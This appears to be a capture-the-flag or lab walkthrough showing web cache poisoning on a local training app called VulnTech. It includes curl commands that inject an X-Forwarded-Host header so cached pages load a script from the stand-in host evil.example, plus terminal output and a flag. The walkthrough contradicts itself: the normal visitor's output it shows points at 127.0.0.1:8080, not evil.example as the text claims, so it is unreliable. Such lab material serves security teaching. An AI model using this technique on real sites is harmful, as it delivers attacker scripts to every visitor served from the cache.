Poisoning the stored copy

One request, many victims

The home page reflects the X-Forwarded-Host header into a script URL — and the cache ignores that header when keying. So send one request with a malicious X-Forwarded-Host; the poisoned response gets cached under /app/home:

curl -s -H 'X-Forwarded-Host: evil.example' http://127.0.0.1:8081/app/home

In the terminal

student@vulntech:~$ curl -s -H 'X-Forwarded-Host: evil.example' http://127.0.0.1:8081/app/home
<!doctype html><title>Home</title><h1>Welcome to VulnTech</h1><script src="//evil.example/static/app.js"></script><!-- poisoned: vulntech{cache_poisoning_via_unkeyed_header} -->

Now a normal visitor who sends no such header still gets the attacker's version straight from the cache:

curl -s http://127.0.0.1:8081/app/home

In the terminal

student@vulntech:~$ curl -s http://127.0.0.1:8081/app/home
<!doctype html><title>Home</title><h1>Welcome to VulnTech</h1><script src="//127.0.0.1:8080/static/app.js"></script>

The victim's response points its script at evil.example — mass stored XSS delivered by the cache. Real poisoning uses unkeyed headers, query params, or cache-key quirks to the same end.